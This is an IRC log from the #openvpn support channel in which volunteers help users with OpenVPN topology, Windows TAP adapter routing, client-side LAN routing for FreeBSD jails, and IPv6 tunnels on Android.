14:55 < Cpt-Oblivious> So for syntax look at the man pages, for elaborate explanations how the software or a process works look at the wiki or so?
14:56 < pekster> Sure. Read the 'how to ask' link and you have 7 options
14:56 < pekster> !ask
14:56 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
14:56 < pekster> Those URLs probably deserve your full attention to learn how FOSS works
14:56 < pekster> #2 URL is worth a full read at somepoint (you seem to need it)
14:56 < Cpt-Oblivious> I've seen #1 before, not #2 though.
14:57 < Cpt-Oblivious> I'll go read through it tonight.
15:01 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Quit: Nikon_m]
15:07 -!- rolloTomasi [~rolloToma@public-nat-d.vpngate.net] has quit [Read error: Connection reset by peer]
15:12 -!- zero-one [zero-one@zer0-one.net] has left #openvpn ["terminal terminated"]
15:12 -!- rolloTomasi [~rolloToma@bas1-kitchener09-1176482838.dsl.bell.ca] has joined #openvpn
15:13 < pekster> ecrist: Here's a fun paper on 'Hardware Trojans' http://people.umass.edu/gbecker/BeckerChes13.pdf
15:14 < pekster> The comments on optical inspection resistence are especially interesting, I think
15:19 -!- mattock is now known as mattock_afk
15:41 -!- rtbt [carrot@unaffiliated/tommehm] has quit [Ping timeout: 252 seconds]
15:48 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 25.0.1/20131112160018]]
15:55 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Read error: Connection reset by peer]
15:55 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
15:55 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
16:02 < Cpt-Oblivious> pekster: everything works now, thanks again for the explanations.
16:17 -!- pagioss is now known as pagios
16:36 -!- c0mputerking [~kvirc@solar.computerking.ca] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
16:43 -!- m01_ [~quassel@176.227.202.44] has joined #openvpn
16:46 -!- kossy [a@209.159.137.148] has joined #openvpn
16:46 -!- kossy_ [a@kossy.org] has quit [Read error: Connection reset by peer]
16:48 < m01_> Hi. I've setup an OpenVPN server on a linux VPS box and I've also setup my (non-rooted) android phone as OpenVPN client.. everything works great for IPv4, but I'm struggeling to get IPv6 to work. I've got a routed /64 subnet, pushing the ipv6 address to the client works, but when I try to ping the ipv6 address on the openvpn server I get ICMP destination unreachable: port unreachable messages. v4 works fine. Any ideas?
16:51 -!- MyMind [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 246 seconds]
16:52 < m01_> the other direction, i.e. pinging from the vps to my phone over the tunnel also seems to work (even for ipv6)
16:52 < pekster> m01_: sounds to me like a misconfigured firewall. You can review IPv6 setup here if you'd like to double-check the openvpn tasks:
16:52 < pekster> !ipv6
16:52 <@vpnHelper> "ipv6" is (#1) The wiki has IPv6 details: https://community.openvpn.net/openvpn/wiki/IPv6 or (#2) The manpage contains info about IPv6 features present in 2.3+: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ
16:53 < pekster> I also have some basic IPv6 (and v4) basic firewall rules for Netfilter here, if you want a clean/commented starting point: https://github.com/QueuingKoala/netfilter-samples
16:53 <@vpnHelper> Title: QueuingKoala/netfilter-samples · GitHub (at github.com)
16:53 < pekster> Line 59 of the rules-edge-router IPv6 sample might be what you're looking for
16:54 < Cpt-Oblivious> Starting openvpn.
16:54 < Cpt-Oblivious> add net 10.0.8.0: gateway 10.0.8.2 <-- why is it not using 10.0.8.1
16:54 < m01_> I've read both of those docs
16:54 < pekster> Cpt-Oblivious: Becuase that's how net30 works. Ideally read !topology (and the handy wiki it links) and don't use net30:
16:54 < pekster> !net30
16:54 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
16:57 -!- rooth_ is now known as rooth
16:58 < m01_> !topology
16:58 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
16:59 < m01_> my firewall rules are all set to accept
16:59 < m01_> for v6
16:59 -!- m01_ is now known as m01
17:00 < Cpt-Oblivious> "This is the old topology for support with Windows clients running 2.0.9 or older clients.", my windows client runs 1.5.6 and afaik that's the newest :O
17:00 < pekster> !connect
17:00 <@vpnHelper> "connect" is (#1) OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide or (#2) https://forums.openvpn.net/post34969.html#p34969
17:01 < pekster> We don't maintain or support the "Connect" product. GPL download links at !download
17:01 < Cpt-Oblivious> that's sneaky :O
17:01 < pekster> Yes, it is. See the forum post at #2 for my mini-rant about it
17:01 < Cpt-Oblivious> !download
17:02 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn
17:02 <@vpnHelper> (only thing supported here) there is no separate download for client/server, it is the same install with different configs
17:02 < pekster> It's a pretty obvious attempt to the corp folks to get people to use/buy their products. By itself I don't have a problem with that, but the obvious branding confusion is a PITA, especially for users (like you)
17:03 < Cpt-Oblivious> so is that just a company that decided to use the openvpn source and built a product around it and choose a similar name?
17:03 < Cpt-Oblivious> Or do they also develop the opensource openvpn? and just also have a paid version?
17:06 < Cpt-Oblivious> Aren't these: http://openvpn.net/index.php/download/community-downloads.html all the server downloads?
17:06 <@vpnHelper> Title: Community Downloads (at openvpn.net)
17:06 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
17:08 < m01> pushing IPv6 DNS server addresses to clients isn't supported, right?
17:13 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
17:15 < pekster> Cpt-Oblivious: Originally OpenVPN was GPL-only; a company known as "OpenVPN Technologies, Inc." was created by the primary author of openvpn to make money
17:15 < Cpt-Oblivious> I see
17:15 < pekster> All of that is, of course, fine, but the name/branding likeness is quite a hassle, not unlike what Redhat went through when they moved to be more corporate-like
17:16 < Cpt-Oblivious> I just installed the full openvpn setup which is 2.3
17:16 < Cpt-Oblivious> and placed the .ovpn file in the folder
17:16 < Cpt-Oblivious> and it indeed connected
17:16 < Cpt-Oblivious> it's a lot less shiny than the other openvpn gui that is 1.5.3
17:16 < Cpt-Oblivious> 1.5.6*
17:16 < pekster> That's part of why people might use/pay for a non-GPL client, yes
17:17 < Cpt-Oblivious> pay?
17:17 < Cpt-Oblivious> I just downloaded it for free :O
17:17 < Cpt-Oblivious> shows no license or trial or anything
17:17 < pekster> Well, the client is free, but it's designed to connect to the AS product, which has its own EULA
17:17 < Cpt-Oblivious> It also connects to the Free non AS
17:17 < pekster> Right, they both speak the same on-wire protocol
17:19 < pekster> And Connect should have shown you a license; it's an entierly different codebase, and (generally speaking) in the software world use of programs requires a license
17:19 < pekster> But I don't know; I can't say I've ever installed it ;)
17:19 < Cpt-Oblivious> I didn't even know I was using the non opensource version
17:20 < Cpt-Oblivious> I just had it installed, everything works
17:20 < pekster> OpenVPN (the GPL version) shows you the license as part of installation (that page most people manage to "just click past") so you know what you're getting and what license it's released under
17:20 < Cpt-Oblivious> It wasn't until I read "This is the old topology for support with Windows clients running 2.0.9 or older clients." under Topology that I checked which version I had an noticed I had 1.5.6 that I started to look around.
17:20 < pekster> Well, add yourself to the list of people confused by corp's name shenanigans
17:21 < Cpt-Oblivious> I indeed clicked past that, most people don't care what license it's released under.
17:21 < Cpt-Oblivious> Is there any reason to use the gpl openvpn client? Only if you want to use that other topology I guess? (Since it just works and the non gpl client interface is easier to use)
17:24 < pekster> I've no clue what other differences are; we don't support that here
17:24 < Cpt-Oblivious> hmm the opensource client doesn't work for me
17:24 < Cpt-Oblivious> It does ask for password / say it's connected
17:24 < Cpt-Oblivious> but I can't ping the server
17:24 < Cpt-Oblivious> while I can in the non gpl one :o
17:25 < pekster> I'm leaving in a few minutes, but you should verify/check your !configs, !logs, and firewall setup
17:26 < Cpt-Oblivious> Sat Dec 14 00:24:01 2013 Route: Waiting for TUN/TAP interface to come up...
17:26 < Cpt-Oblivious> Sat Dec 14 00:24:02 2013 Warning: route gateway is not reachable on any active network adapters: 10.0.8.5
17:26 < Cpt-Oblivious> Sat Dec 14 00:24:02 2013 Route addition via IPAPI failed [adaptive]
17:26 < Cpt-Oblivious> Sat Dec 14 00:24:02 2013 Route addition fallback to route.exe
17:26 < Cpt-Oblivious> I'm guessing it has something with that to do
17:26 < pekster> Yup, it does. Post !configs and !logs somewhere (comments/blanks removed from the configs please, grep syntax included for that)
17:26 < pekster> Maybe you forgot to run the GUI as an admin?
17:27 < Cpt-Oblivious> I have to run it as admin?
17:27 < Cpt-Oblivious> let me try that.
17:27 < pekster> Windows OSes with UAC require admin rights to adds routes
17:27 < dvl> adf
17:27 < pekster> More info on the GUI wiki at:
17:27 < pekster> !gui
17:27 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
17:27 < Cpt-Oblivious> I have UAC disabled
17:28 < pekster> Although the IP 10.0.8.5 suggests you're still using net30
17:28 < Cpt-Oblivious> I am
17:28 < Cpt-Oblivious> hmm running as admin made no difference
17:29 < pekster> Then follow the posting guidelines above and someone might be able to offer help
17:29 < dvl> I'm getting ready to set up a new server, running an OpenVPN client.  It will be running several virtual machines (FreeBSD Jails).  Each VM will have both a public IP address and a non-routable IP address.  I'm hoping to access all those VMs from within the VPN.  Am I making sense with my objective here?
17:30 < pekster> dvl: Client-side LAN basically? If so, start with !howto for the basic openvpn setup and proceed to !clientlan when your basic VPN (client-to-server) is setup
17:31 < dvl> pekster: OK.  I have no problem with basic OpenVPN setup.  At this point, that's relatively straight forward for me.
17:31 < dvl> !clientlan
17:31 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
17:31 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
17:31 < pekster> You can expose any LANs you want behind a client with that info and the helpful flowchart at (#3)
17:32 < dvl> That sounds fantastic.  :)
17:32 < dvl> It'll make backups and admin much easier.
17:32 < pekster> The iroute stuff is openvpn specific, but otherwise it's pretty much all basic routing stuff
17:32 < Cpt-Oblivious> config of client / server: http://pastebin.com/g8hdrMCc log on client: http://pastebin.com/JzA8SPtn
17:34 < pekster> Cpt-Oblivious: tap adapter never set the IP it looks like. Verify your tap interface in the OS is set to "DHCP" to get an address
17:34 < pekster> The route failed to add becuase you don't have a valid IP on the interface yet
17:34 < pekster> The adapter list shown at line 411 shows that it has no IP yet
17:34 < Cpt-Oblivious> I just checked, it's on dhcp
17:35 < pekster> Well, it somehow "didn't get" the right IP set. You can look at setting a different --route-method (see the manpage)
17:35 < pekster> Time for me to take off, but try f.ex, `--route-method exe` or similar
17:35 < pekster> And watch the logs for improvements there
17:36 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Quit: ZNC - http://znc.sourceforge.net]
17:36 < Cpt-Oblivious> ok will try, thanks.
17:36 < Cpt-Oblivious> it says it has 169.254.113.171 as auto configured ip
17:36 -!- pdobrogost [~quassel@213-238-74-135.adsl.inetia.pl] has quit [Remote host closed the connection]
17:36 < pekster> Right, "automatic addressing" when DHCP returns nothing. That won't work here
17:38 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
17:39 < dvl> !ipforward
17:39 <@vpnHelper> "ipforward" is (#1) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall or (#2) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
17:40 < dvl> !fbsdipforward
17:40 <@vpnHelper> "fbsdipforward" is is set gateway_enable="YES" in /etc/rc.conf to enable ip forwarding in freebsd
17:40 < dvl> !route_outside_openvpn
17:40 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
17:40 < dvl> pekster: Yeah, that all makes sense to me.  That is precisely what I wanted to do...
17:41 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
17:44 < Cpt-Oblivious> pekster: I uninstalled the non GPL VPN client, since I had two TAP adapters, also uninstalled the GPL client, checked that I had no TAP adapters left. Installed the GPL client again. And now it works.
17:48 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:49 < dvl> pekster: FYI http://dan.langille.org/2013/12/13/routing-with-jails/
17:50 < Cpt-Oblivious> dvl: that's pretty cool
17:50 < Cpt-Oblivious> I'm setting up a similar thing
17:50 < Cpt-Oblivious> except my FreeBSD server is not the client but the server.
17:50 < dvl> Cpt-Oblivious: New server, fully loaded with lots of jails, and I want to automate a lot of theinstall.
17:50 < dvl> Cpt-Oblivious: The server is at home in my basement.  ;)
17:50 < dvl> well, the OpenVPN server is...
17:50 < Cpt-Oblivious> Mine is in colocation :)
17:51 < dvl> All my backups are to here, with the tape library
17:51 < dvl> and on HDD
17:51 < Cpt-Oblivious> you're dan langille?
17:51 < dvl> Cpt-Oblivious: I am/
17:51 < Cpt-Oblivious> cool
17:52 < Cpt-Oblivious> I've used stuff from your blog before to get stuff working
17:52 < rob0> Nice article, Dan.
17:52 < dvl> Cpt-Oblivious: Always happy for others to get stuff from my stuff.  I really write it so I know what to do next time.
17:52 < dvl> rob0: gidday.
17:53 < Cpt-Oblivious> I've been considering starting a blog my self as well
17:53 < dvl> Always useful.
17:53 < dvl> I use it as a log.
17:53 < rob0> oh, I was thinking about the dynamic DNS one in particular, but I'm sure this one is nice too :)
17:53 < Cpt-Oblivious> I'm keeping everything I do in .txt files anyway for future reference so I know wtf I was thinking when I set it up.
17:53 < Cpt-Oblivious> So might as well publish it so it can benefit others.
17:53 < dvl> Precisely
17:54 < Cpt-Oblivious> I'm trying to get Samba to be accessible over the vpn atm
17:54 < Cpt-Oblivious> I guess I should let Samba listen on the tun0 interfacde
18:15 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
18:19 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-qzqixrkttdmlfncb] has quit [K-Lined]
18:21 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
18:22 -!- xrosnight [~quassel@120.236.123.130] has joined #openvpn
18:26 -!- xrosnight [~quassel@120.236.123.130] has quit [Changing host]
18:26 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
18:27 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:54 -!- speed_racer84 [~speed_rac@172.56.9.187] has joined #openvpn
18:57 -!- Saul775 [~Saul@67.138.231.194] has quit [Quit: Leaving]
19:11 -!- MyMind [~Sembei@unaffiliated/sembei] has joined #openvpn
19:39 -!- Eduard_Munteanu [~EduardMun@188.25.92.124] has quit [Ping timeout: 250 seconds]
19:40 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-anrnmpnpnezusgze] has joined #openvpn
20:26 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
20:28 -!- Devastator [~devas@186.214.15.221] has joined #openvpn
20:42 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
20:43 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
20:50 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 246 seconds]
20:50 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Quit: Leaving]
20:51 -!- speed_racer81 [~speed_rac@172.56.9.187] has joined #openvpn
20:52 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
20:52 -!- mode/#openvpn [+v hazardous] by ChanServ
20:54 -!- speed_racer84 [~speed_rac@172.56.9.187] has quit [Ping timeout: 260 seconds]
21:04 -!- lachesis [~lachesis@unaffiliated/lachesis] has quit [Max SendQ exceeded]
21:04 -!- lachesis [~lachesis@unaffiliated/lachesis] has joined #openvpn
21:24 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 264 seconds]
21:27 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
21:27 -!- mode/#openvpn [+v hazardous] by ChanServ
21:44 < Romance> how do i send a bubble icon with text "hello world" to a client who uses Windows ? where can i read about it?
21:55 -!- WinstonSmith_ [~WinstonSm@bl5-206-136.dsl.telepac.pt] has joined #openvpn
21:57 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 246 seconds]
22:00 -!- ghost1235 [~speed_rac@172.56.9.187] has joined #openvpn
22:03 -!- speed_racer81 [~speed_rac@172.56.9.187] has quit [Ping timeout: 265 seconds]
22:07 < pekster> Romance: You probably want to read about pushing the `setenv-safe` option to clients, then write a processing script on the client that does something useful with the named variable you push
22:12 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
22:12 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
22:12 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
22:12 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
22:13 -!- speed_racer84 [~speed_rac@172.56.9.187] has joined #openvpn
22:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds]
22:13 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-bfikovfbcmtfesfo] has quit [Ping timeout: 245 seconds]
22:13 -!- NChief [~nchief@ircimg.net] has quit [Ping timeout: 245 seconds]
22:13 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-bfonhtsjbfwoenhw] has joined #openvpn
22:13 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
22:13 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has joined #openvpn
22:13 -!- pnielsen_ [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
22:14 -!- batrick [batrick@nmap/developer/batrick] has quit [Ping timeout: 245 seconds]
22:14 -!- EugeneKay [eugene@clockworkmod.org] has quit [Ping timeout: 245 seconds]
22:14 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 245 seconds]
22:14 -!- moyam01 [~moyam01@2607:f790:fff0:ffff:158::] has quit [Ping timeout: 245 seconds]
22:14 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 245 seconds]
22:14 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
22:14 -!- ghost1235 [~speed_rac@172.56.9.187] has quit [Ping timeout: 240 seconds]
22:14 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 245 seconds]
22:14 -!- APTX_ [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
22:14 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Ping timeout: 245 seconds]
22:14 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Ping timeout: 245 seconds]
22:15 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
22:15 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
22:16 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Quit: No Ping reply in 180 seconds.]
22:16 -!- xrosnight [~quassel@120.236.123.130] has joined #openvpn
22:17 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
22:17 -!- mode/#openvpn [+o plaisthos] by ChanServ
22:19 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
22:19 -!- speed_racer81 [~speed_rac@172.56.9.187] has joined #openvpn
22:19 -!- Champi [Champi@rootshell.fr] has joined #openvpn
22:20 -!- pnielsen_ is now known as pnielsen
22:20 -!- speed_racer84 [~speed_rac@172.56.9.187] has quit [Ping timeout: 265 seconds]
22:21 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
22:21 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 252 seconds]
22:21 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
22:23 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
22:23 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has joined #openvpn
22:23 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has quit [Changing host]
22:23 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
22:26 -!- james41382_ is now known as james41382
22:28 -!- moyam01 [~moyam01@2607:f790:fff0:ffff:158::] has joined #openvpn
22:29 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
22:33 -!- speed_racer81 [~speed_rac@172.56.9.187] has quit [Ping timeout: 264 seconds]
22:44 -!- EugeneKay [eugene@clockworkmod.org] has joined #openvpn
22:46 -!- fvalente [~fvalente@ts.node.pt] has quit [Ping timeout: 252 seconds]
22:48 -!- fvalente [~fvalente@ts.node.pt] has joined #openvpn
23:01 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has quit [Quit: What if everything around you, isn't quite as it seems. What if all the world you think you know, is an elaborate dream? And if you look at your reflection, is it all you wanted to be? What if you could look right through the cracks, would you find yours]
23:48 -!- Devastator [~devas@186.214.15.221] has quit [Changing host]
23:48 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
23:53 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Sat Dec 14 2013
00:13 -!- speed_racer84 [~speed_rac@172.56.7.124] has joined #openvpn
00:23 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
01:04 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
01:07 -!- speed_racer84 [~speed_rac@172.56.7.124] has quit [Read error: Connection reset by peer]
01:08 -!- speed_racer84 [~speed_rac@172.56.7.124] has joined #openvpn
01:15 -!- speed_racer84 [~speed_rac@172.56.7.124] has quit [Read error: Connection reset by peer]
01:16 -!- speed_racer84 [~speed_rac@172.56.7.124] has joined #openvpn
01:16 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has quit [Ping timeout: 240 seconds]
01:19 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:21 -!- speed_racer81 [~speed_rac@172.56.7.124] has joined #openvpn
01:21 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:24 -!- speed_racer84 [~speed_rac@172.56.7.124] has quit [Ping timeout: 252 seconds]
01:31 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
01:36 -!- ghost1235 [~speed_rac@172.56.7.124] has joined #openvpn
01:39 -!- speed_racer81 [~speed_rac@172.56.7.124] has quit [Ping timeout: 240 seconds]
01:44 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:45 -!- speed_racer81 [~speed_rac@172.56.7.124] has joined #openvpn
01:45 -!- james41382 [~james@unaffiliated/james41382] has quit [Client Quit]
01:46 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:48 -!- ghost1235 [~speed_rac@172.56.7.124] has quit [Ping timeout: 260 seconds]
01:58 -!- speed_racer81 [~speed_rac@172.56.7.124] has quit [Read error: Connection reset by peer]
01:58 -!- speed_racer81 [~speed_rac@172.56.7.124] has joined #openvpn
02:01 -!- ghost1235 [~speed_rac@172.56.7.124] has joined #openvpn
02:02 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
02:05 -!- speed_racer81 [~speed_rac@172.56.7.124] has quit [Ping timeout: 260 seconds]
02:07 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-tjhbjunbuqspedpu] has joined #openvpn
02:07 -!- ghost1235 [~speed_rac@172.56.7.124] has quit [Quit: Leaving]
02:52 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
03:18 -!- Cybert1nus is now known as Cybertinus
03:34 -!- xrosnight [~quassel@120.236.123.130] has quit [Read error: Connection reset by peer]
04:00 -!- pepijnd [pepijndevo@2a00:dcc0:eda:3754:247:55:9194:8ed6] has joined #openvpn
04:02 < pepijnd> on my lan i can access my nas by its hostname, but not over vpn. should i somehow forward dns?
04:10 < Romance> what is this? " write UDPv4 []: No buffer space available (code=105)"
04:14 -!- g0uZ [~NickServ@ALyon-652-1-206-151.w2-3.abo.wanadoo.fr] has joined #openvpn
04:20 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
04:22 -!- g0uZ [~NickServ@ALyon-652-1-206-151.w2-3.abo.wanadoo.fr] has quit [Ping timeout: 240 seconds]
04:26 -!- g0uZ [~NickServ@ALyon-652-1-206-151.w2-3.abo.wanadoo.fr] has joined #openvpn
04:32 -!- g0uZ [~NickServ@ALyon-652-1-206-151.w2-3.abo.wanadoo.fr] has quit [Ping timeout: 252 seconds]
04:32 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:38 -!- m01 [~quassel@176.227.202.44] has quit [Remote host closed the connection]
04:40 -!- m01 [~quassel@gateway/shell/freebnc/x-qxjtjytsxgoeieko] has joined #openvpn
04:46 < m01> hey everyone. I'm having issues with my Android OpenVPN & IPv6. When I try to ping my OpenVPN server's address, I get "Destination unreachable: port unreachable". I had a similar issue yesterday, but have since setup my laptop to connect to the same server, on the same wifi network, and I don't have the issue there (this should rule out firewall issues). On my very first connection from my phone I didn't have this issue either, but I
04:46 < m01>  don't know how to get back to that state. I haven't changed the client config file (since that's a pain), so I really don't know what's going on. Any ideas?
04:46 < m01> v4 also works fine
04:47 < m01> and pinging ipv6.google.com tells me "network unreachable", which is odd..
04:52 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
04:52 -!- Haigha is now known as Guest58109
04:52 -!- Guest58109 [~root@dovahkiin.xomg.net] has quit [Client Quit]
04:54 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-bfonhtsjbfwoenhw] has quit []
04:58 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
05:11 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-srnbdtnvfmylmgrl] has joined #openvpn
05:15 < m01> looks like it's an Android issue.. I did an android version upgrade yesterday as well, which was supposed to be a bugfix and security issue only one. Sigh. Or at least that's what this log entry makes me suspect: ip6tables v1.4.11.1: can't initialize ip6tables table `nat': Table does not exist (do you need to insmod?)
05:17 < m01> ah well
05:34 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 240 seconds]
05:36 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
05:36 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
06:18 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
06:20 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
06:32 <@plaisthos> m01: which android version and which client?
07:26 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
07:28 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
07:44 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
07:45 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:53 -!- Cpt-Oblivious_ [~chatzilla@31-151-87-204.dynamic.upc.nl] has joined #openvpn
07:55 -!- Cpt-Oblivious_ [~chatzilla@31-151-87-204.dynamic.upc.nl] has quit [Read error: Connection reset by peer]
07:56 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has joined #openvpn
08:00 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:21 < m01> plaisthos: 4.4.2, and I tried both OpenVPN connect as well as OpenVPN for Android
08:21 < Cpt-Oblivious> m01: what's the problem?
08:21 < Cpt-Oblivious> I have openvpn working on android 4.4.2
08:22 < m01> including for IPv6 payloads?
08:22 < m01> IPv4 works just fine
08:22  * Cpt-Oblivious has no ipv6 support from his isp
08:22 < m01> I mean IPv6 over IPv4
08:22 < m01> so to say
08:22 < m01> v4 transport, v6 payload
08:22 < m01> so only the server needs v6 support
08:23  * m01 chose a VPS provider that supports IPv6
